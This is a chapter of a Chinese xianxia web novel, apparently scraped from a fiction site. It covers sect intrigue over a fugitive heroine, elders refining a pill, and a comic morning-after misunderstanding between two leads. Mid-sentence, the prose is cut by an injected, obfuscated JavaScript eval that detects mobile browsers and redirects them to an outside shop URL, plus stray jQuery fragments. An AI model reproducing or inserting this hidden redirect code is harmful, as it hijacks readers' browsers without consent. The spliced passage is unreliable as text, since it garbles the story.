文趣网 > 其他小说 > 女主她争权又夺利 > 57. 假嬉戏勿生情
    已是后半夜,清风谷的议事大堂内却人头涌动,比发布任务时的任务堂还热闹。

    顾易安遇险将清风谷所有人都惊动了起来,好在最近清风谷事多,没几个闭关的,不然即便他是青花瓷,等他回来也少不了一顿挨揍。

    堂下一弟子禀告:“顾峰主说,不亲自捉到人他是不会回来的。”

    另一弟子禀告道:“我这边已经调配到了二十只千机蜂。只是近来这……”

    他抬眼偷看了一下正座之上的女子,斟酌着自己的用词,“……疫病肆虐,千机蜂未必能全须全尾地到达顾峰主手里。”

    正座之上的女子勾唇冷笑,两汪梨涡浅浅,笑声未出,咳嗽声先连绵不断,将她肩头已经包扎好的伤口再次崩裂,露出丝丝红色。

    她一手按住伤口,脸色阴冷:“白弘毅治下不当,致使晏山城疫病横行,先撤了他的职,容后待审吧。”

    “这……”堂内一阵骚动。

    没有任何证据能够证明晏山城真的有疫病,那不过就是白弘毅不想配合随口胡诌的说辞,却没想到反倒给别人递了刀子。

    那梨涡女子笑盈盈地用眼神一个一个扫过去,声浪渐低。

    “即刻把千机蜂送出去,千机蜂在谁的治下死了,我就撤谁的职。大伙儿顾念旧情我理解,但在那之前,不妨先掂量掂量自己的前途。”

    这是明晃晃的威胁了。

    底下人有些不忿,到底被旁边人拉扯着袖子按了下去。

    梨涡女子只当没看见,冷冷道:“修仙地界认识她的人太多了,她大概也不敢往那些大宗地界跑,传令下去,把人手着重放到无主之地去找。”

    任务交代完毕,议事大堂的人渐渐都散了,最后只剩下梨涡女子一人。

    伤口处的血肉一蹦一蹦地疼,她弯腰蜷缩在宝座之上,额头痛苦地碾在了卷宗之中。

    闭眼的瞬间,余停山的那柄长刀从天而降,朝她猛地劈砍而来,她受到惊吓,猛地睁开了眼睛。

    偌大的议事大堂只有她一个人,哪有什么余停山?

    可是那柄刀落下之时带来的惊惧依旧刻在了梨涡女子的骨子里,她的上下牙战战作响,手背青筋暴起。

    她暴喝一声,桌上的卷轴竹简哗啦啦滚落一地。

    ——不计代价,必须找回她!

    ·

    炼丹房里的火千年不息,几个大半夜被闹起来的太上长老睡是睡不着了,三三两两围坐在大炼丹炉面前。

    源源不断的灵力自他们手中输出,在炼丹炉内汇聚在一处,一颗丹药的雏形已经显露出来。

    十个人围坐合练一颗丹药是清风谷所有炼丹师的入门第一课,哪怕现在炼制的是高阶丹药,对于这些太上长老来说也是驾轻就熟。

    几人边炼丹边唠嗑,与凡间那些围坐在榕树底下闲聊的老人并无不同。

    他们都是丹峰的老人了,须发皆白,眉毛垂到锁骨上,个个的形象都特别符合凡间对于得道高人的想象。

    只有修仙界的人才看得出来,这些炼丹师都已经到了天人五衰的阶段,命不久矣。

    修仙界就是这么残忍,要么进阶,要么死去。

    他们这些炼丹师,技能都点在了炼丹上,其他方面连平庸都难以称得上。

    即便是修仙界五百年不世出的炼丹天才顾易安,集全宗之力,也不过就只能拿丹药砸到金丹。

    活到这个份上了,他们对此都看得很开。

    除了炼丹之外,一概外事都不爱理会。

    一人道:“谷里最近小动作不断啊。”

    “如玉掌事多年,站在她这边的人不少的。她能行的。”

    祝闾臣道:“能正面接住华玄一势而不死,如玉的身子骨儿比我想的要扛打啊。”

    另一人点头道:“就是有些体寒,这药方得改改,我看啊,不如把这一味冥夜砂改成斑蛛血吧。”

    “那药性上会有所下降,伤势愈合会变慢,这样吧,再加一味白芳。”

    “白芳哪有鹤绮白好使。”

    “鹤绮白万两黄金才能得半两,你拿白芳跟它比,你有点耍流氓了吧!这玩意儿得走申报流程,有那功夫折腾,我多给她下点白芳也一样的。”

    “抠抠索索一辈子了这档口还抠,如玉有的是钱,咱先给她垫上嘛。几个老家伙凑不出点存货,传出去要被人笑掉大牙的好伐?”

    那炼丹师骂骂咧咧的,到底是自掏腰包拿出了鹤绮白投入炉中。

    炼丹炉的火烧得很旺,每个人的脸都映得通红通红的。

    “余家最近运道不怎么好啊,家主出远门访友时遇到了劫道的,受了重伤,求到了谷里来。”

    “修士入了仙门,就跟凡俗没什么关系了。我连自己的凡俗名字都忘了。”

    “名字是牵绊,记住了名字,就断不了尘念。”

    “凡人寿命短,这都多少代了,八杠子打不着的亲戚,打发走了得了。”

    祝闾臣道:“毕竟是她的本家嘛,救一救不费咱们什么事儿。”

    “扯那么多羁绊做什么呀?还嫌她跟尘世不够牵扯不清的?要我说,当初就不该告诉她凡俗姓名,一刀两断最好。”

    ·

    余停山挪了挪肩膀,撞到了一个软物。

    她脸上的肌肉顿时绷紧,眼皮掀开,露出一双黑白分明的锐眼。

    进入眼帘的是一片肉色肌理,余停山身体下意识往后翻了几滚,背贴着墙坐起,拉开这么长的距离才认出那搂着自己的人是叶冬青。

    这么一番动作下来,其实动静不算大,但叶冬青已经被惊动。

    他掀起半拉眼皮,好整以暇地打量着余停山的一系列动作。

    余停山眼梢微挑,一边不动声色在身体里运转灵力探测,一边倒打一耙:“谈朋友也要循序渐进,不能这么着急啊。“

    她体内走火入魔的燥意居然被压制住了。

    余停山嘴巴虽然有些药材苦味,但身体内部的药材却微乎其微,有一道凉意在她的奇经八脉之中流淌,但她一时半会觉察不出来这是什么。

    倒是很快发现左肩上裴景云留下来的定位追踪符。

    “裴景云现在安全吗?”

    叶冬青简单把山洞里的事说了一遍,略过了两人的对峙:“在他舅身边了。”

    余停山放下心来,将符纸抽出来一把捏碎。

    叶冬青抬头望向窗外月色,估摸了一下时辰,也就堪堪过去了两个时辰。

    他居然在这种境况下还能睡着。

    余停山这一趟吸得有些狠了,叶冬青只觉得自己四肢像面条一样软绵无力,倒是余停山面色红润,吃饱喝足,看着像是还能出去大战个三天三夜。

    余停山又漫出元神感知周遭环境,并没有察觉到什么修士的气息,可见已经离仁德县十分遥远。

    叶冬青缓缓从床上支起身子,随着他起身偏头的动作,衣领受重力落下,露出侧脖颈上一个还未结痂的牙印。

    叶冬青皮肉细腻,更衬得这处皮开肉绽。

    余停山:“!!!”

    余停山额头青筋“嘎嘣”、“嘎嘣”地跳起来,脑中卷起风暴,搅得她头晕眼花。

    这牙印的大小……

    这齿痕的深浅……

    不,不对,她能是那种人吗?

    ……好像能是。

    余停山慢腾腾地歪头,转换角度去看那处齿痕,越看越心虚。

    难得见她被震慑住,叶冬青伸长脖子,好让她瞧得更仔细一些。

    余停山喉咙一滚。

    她还能干出这种事儿呢?

    余停山对自己有了全新的认知。

    她脸上表情太过精彩,几乎把字都刻在额头上了,叶冬青十分笃定地点头,于是余停山的唇抿得更紧了。

    叶冬青没打算放过她,哀戚道:“不怕贼偷,就怕贼惦记。”

    余停山握紧了拳头。

    叶冬青抬起

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733487|207007||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    兰花指,手背半遮半掩捂着唇,楚楚可怜:“我也努力试图挣扎过。”

    余停山指尖关节处嘎巴作响。

    叶冬青抬眸,眼睫湿漉漉的:“你不记得了?”

    余停山:“……”戏这么好?

    “喔~”叶冬青特意拉长了语调,瘪嘴,我见犹怜:“不记得就是没发生过,这种事嘛……我懂,我懂。”

    余停山咬肌绷紧,声音磨着牙碾出:“你懂什么了?”

    叶冬青含泪咬牙,瞥过脸:“放心,我不纠缠。”

    话的走势越来越不对,余停山百口莫辩,无语问道:“昨夜到底发生什么了?”

    叶冬青摆出一副上道的表情:“昨夜什么都没发生。”

    余停山:“……”越玩越上头了是吧?

    难得能让余停山如此吃瘪,叶冬青满眼都是雀跃的欢欣,比平日里硬扯出来的笑意要鲜活太多。

    余停山翻了个白眼。

    这是……碰瓷碰到她头上了?

    行,奉陪!

    余停山假模假样地叹了口气:“既然如此,我会对你负责的。”

    叶冬青满眼的鲜活笑意僵住:“啊?”

    他像是被人强行按住脑袋转过来一样,动作机械地对上了余停山认真的眼。

    余停山正色道:“可惜我现在是个逃犯,三书六聘是有些难办,不过我会想办法的。”

    叶冬青:“……倒也”不必。

    余停山认真问:“你是想要三书六聘还是一切从简?”

    叶冬青:“哈?”

    余停山继续点头,脸色坚毅,十分正直:“你放心,我绝对不是那种吃干抹净不认账的人。”

    我一点也不放心!!!

    叶冬青语气弱下去:“……倒也没这么严重。”

    余停山继续输出:“眼下这情况吧,好像不适合大办,但我会从别的地方弥补你的。聘礼你想要什么?房产?铺面?”

    叶冬青五指摊开强行制止:“不必!”

    剧情走向不对!太不对了!

    余停山义正言辞:“你救了我,我理应以身相许。”

    叶冬青倒吸一口凉气:“这个嘛……钱货两讫即可。”

    余停山话锋一转:“仁德县的时候,我救了你,你理应以身相许。”

    叶冬青:“……”

    叶冬青噎了半晌,感觉自己被赖上了:“这种挟恩图报的话,你是怎么能说得这么理直气壮的?”

    余停山满脸真挚:“我是真心想要负责的。”

    你就没有那个玩意儿。

    叶冬青双手抱胸,长叹了一口气:“你喜欢我什么?”

    余停山几乎没有停顿地回答:“这么漂亮的脸摆在这里,哪里还需要什么别的原因?”

    果然,狗嘴里吐不出象牙。

    叶冬青撩起眼皮,十分看不上:“这么肤浅?”

    余停山一点都不觉得惭愧:“风花雪月,本就很浅。”

    流氓!

    色鬼!

    叶冬青拢紧衣襟,跟后面有人撵他似的跑了。

    已经完全忘记自己等了三天想要问她的话。

    身后余停山的声音如跗骨之蛆:“聘礼得先商量好啊,喂——”

    那道仓皇出逃的身影脚步加快,险些左脚踩上右脚,摔个狗吃屎。

    余停山继续喊:“日子也得挑一下啊。”

    叶冬青差点撞上门框。

    余停山:“我多出点聘礼,孩子还是跟我姓吧?”

    回应她的只有一声“砰——”

    大门重重甩上,轰进来一阵冷风!

    嚯!就这点道行?

    余停山嘴角弯弯,满眼都是恶劣的趣味。

    拿捏完叶冬青之后,余停山该干正事儿了。

    她慢慢冷下眼眸,从怀中掏出宗门玉牌。

    宗门玉牌除了锁凶之外还有很多作用,比如它还可以是个通讯法器。